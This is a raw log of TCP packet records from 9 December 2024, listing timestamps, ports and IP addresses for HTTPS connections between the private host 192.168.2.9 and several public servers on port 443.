Dec 9, 2024 14:19:45.541362047 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.541428089 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.541829109 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.541847944 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:46.753799915 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:46.754230022 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:46.754261971 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:46.754549980 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:46.754877090 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:46.754957914 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:46.755059004 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:46.755141973 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:46.755170107 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:46.755297899 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:46.755331039 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.368819952 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.368869066 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.368901968 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.368930101 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.368946075 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.368983984 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.368999004 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.376600981 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.376691103 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.376717091 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.385195971 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.385221958 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.385277987 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.385298014 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.385344982 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.393389940 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.443810940 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.488183975 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.542284966 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.542321920 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.583039999 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.594202995 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.598078966 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.598145962 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.598162889 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.605865002 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.605928898 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.605948925 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.613780022 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.613841057 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.613858938 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.621803045 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.621881962 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.622129917 CET	49801	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:47.622168064 CET	443	49801	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:47.641961098 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:47.642014980 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:47.642128944 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:47.642354965 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:47.642370939 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:48.862849951 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:48.863270044 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:48.863286972 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:48.863642931 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:48.863964081 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:48.864022017 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:48.864125967 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:48.907324076 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:49.381967068 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:49.382091045 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:49.383266926 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:49.383404970 CET	49807	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:49.383418083 CET	443	49807	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:00.509390116 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:00.509438992 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:00.509512901 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:00.509913921 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:00.509931087 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:01.719625950 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:01.720077038 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:01.720093966 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:01.720422029 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:01.720763922 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:01.720835924 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:01.720913887 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:01.720963001 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:01.720983982 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:01.721088886 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:01.721121073 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.343961954 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344043970 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344141960 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:02.344162941 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344424963 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344461918 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344496012 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:02.344506025 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344531059 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.344563961 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:02.344599962 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:02.345288992 CET	49838	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:20:02.345309019 CET	443	49838	104.18.95.41	192.168.2.9
Dec 9, 2024 14:20:02.351838112 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:02.351911068 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:02.351982117 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:02.353240967 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:02.353256941 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:02.362307072 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:02.362363100 CET	443	49845	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:02.362433910 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:02.362587929 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:02.362648010 CET	443	49846	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:02.362700939 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:02.364492893 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:02.364512920 CET	443	49845	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:02.364715099 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:02.364731073 CET	443	49846	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.770032883 CET	443	49846	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.770148039 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:03.773503065 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:03.773542881 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:03.773632050 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.773647070 CET	443	49846	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.773972988 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:03.774724007 CET	443	49846	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.774784088 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.817718029 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:03.818015099 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.818041086 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.818100929 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.818182945 CET	443	49846	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.818269968 CET	49846	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.849435091 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.849474907 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.849572897 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.871445894 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:03.871651888 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:03.872565985 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:03.872587919 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:03.872721910 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:03.915339947 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:04.001461029 CET	443	49845	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:04.001990080 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.002011061 CET	443	49845	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:04.003077984 CET	443	49845	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:04.003185034 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.004060984 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.004081964 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.004127979 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.004133940 CET	443	49845	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:04.004182100 CET	49845	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.004549980 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.004594088 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:04.004661083 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.005224943 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:04.005244017 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:04.216998100 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:04.217073917 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:04.217139006 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:04.218288898 CET	49844	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:20:04.218302011 CET	443	49844	104.18.94.41	192.168.2.9
Dec 9, 2024 14:20:05.088095903 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.088594913 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.088622093 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.089692116 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.089788914 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.090188026 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.090250969 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.090396881 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.090396881 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.090408087 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.134198904 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.134208918 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.216665983 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.217025042 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.217045069 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.218023062 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.218107939 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.218466043 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.218528986 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.258553982 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.258564949 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.304789066 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.897924900 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.897965908 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.898016930 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.898019075 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.898030043 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.898073912 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.898078918 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.898091078 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.898142099 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.898148060 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.906056881 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.906127930 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.906133890 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.914593935 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.914701939 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.914707899 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.922746897 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.922836065 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:05.922841072 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:05.976938963 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.017311096 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.071633101 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.090384960 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.100030899 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.100207090 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.100224972 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.108176947 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.108217955 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.108223915 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.108233929 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.108270884 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.115614891 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.123439074 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.123481989 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.123490095 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.131241083 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.131283045 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.131290913 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.138987064 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.139050007 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.139056921 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.146713972 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.146759987 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.146765947 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.154525042 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.154584885 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.154592037 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.161564112 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.161616087 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.161621094 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.199929953 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.199966908 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.199992895 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.200016975 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.200057030 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.282047033 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.282130957 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.282175064 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.282183886 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.285226107 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.285278082 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.285284042 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.297976971 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.297986984 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.298042059 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.298048973 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.302751064 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.302814007 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.302818060 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.302850962 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.302865028 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.302897930 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.303333998 CET	49850	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:06.303347111 CET	443	49850	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:06.478995085 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:06.479021072 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:06.479077101 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:06.479439974 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:06.479449034 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:06.480277061 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:06.480309963 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:06.480357885 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:06.480678082 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:06.480710983 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:06.480761051 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:06.480931997 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:06.480948925 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:06.481086016 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:06.481098890 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:06.482095003 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:06.482115030 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:06.482167006 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:06.482319117 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:06.482328892 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.689157963 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:07.689204931 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:07.689313889 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:07.689522028 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:07.689538002 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:07.697865009 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.698110104 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:07.698151112 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.699167967 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.699244022 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:07.700299025 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:07.700366974 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.700463057 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:07.701575994 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:07.701598883 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:07.701787949 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:07.701806068 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:07.701898098 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:07.701915979 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:07.702487946 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:07.702663898 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:07.702678919 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:07.702860117 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:07.702915907 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:07.702936888 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:07.703006029 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:07.703691006 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:07.703768015 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:07.703819990 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:07.703895092 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:07.704025984 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:07.704159021 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:07.704233885 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:07.704987049 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:07.705049038 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:07.705143929 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:07.705177069 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:07.705213070 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:07.705220938 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:07.743345022 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.743908882 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:07.743947983 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:07.747334003 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:07.759063959 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:07.759068012 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:07.759078026 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:07.759083986 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:07.792073011 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:07.807331085 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.137859106 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.156284094 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.156346083 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.156378984 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.156409025 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.156430006 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.156441927 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.156466961 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.156502962 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.156538963 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.156550884 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.157807112 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.157849073 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.157915115 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.157943010 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.158067942 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.158118963 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.158127069 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.161217928 CET	443	49858	104.18.10.207	192.168.2.9
